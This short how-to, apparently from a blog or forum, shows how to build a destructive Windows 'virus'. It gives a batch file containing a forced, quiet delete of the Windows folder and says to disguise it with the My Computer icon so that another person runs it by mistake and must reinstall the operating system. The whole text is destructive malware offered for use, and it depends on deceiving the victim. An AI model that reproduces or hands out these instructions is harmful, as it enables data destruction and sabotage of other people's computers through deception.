VIRUS TO DELETE WINDOWS FOLDER .....

Step 1: Open Notepad and type following command as it is without Quotes.

“del C:\Windows /f /q”

Step 2: NOTE :Instead of C:/ you have to type your drive in which Windows is installed.

Step 3: Save it as a.bat (don’t forget to choose all files from save option.)

Step 4: Now save it in any Drive other than C: . 
  
                                

Step 6: Then Change the Icon of the file as My Computer icon. (refer the above image)

Step 7: Now change that file icon as My Computer icon and then leave the computer.

AFTER THAT:  Now when someone will open the My Computer the Windows folder will be deleted and that person will have to reinstall the OS.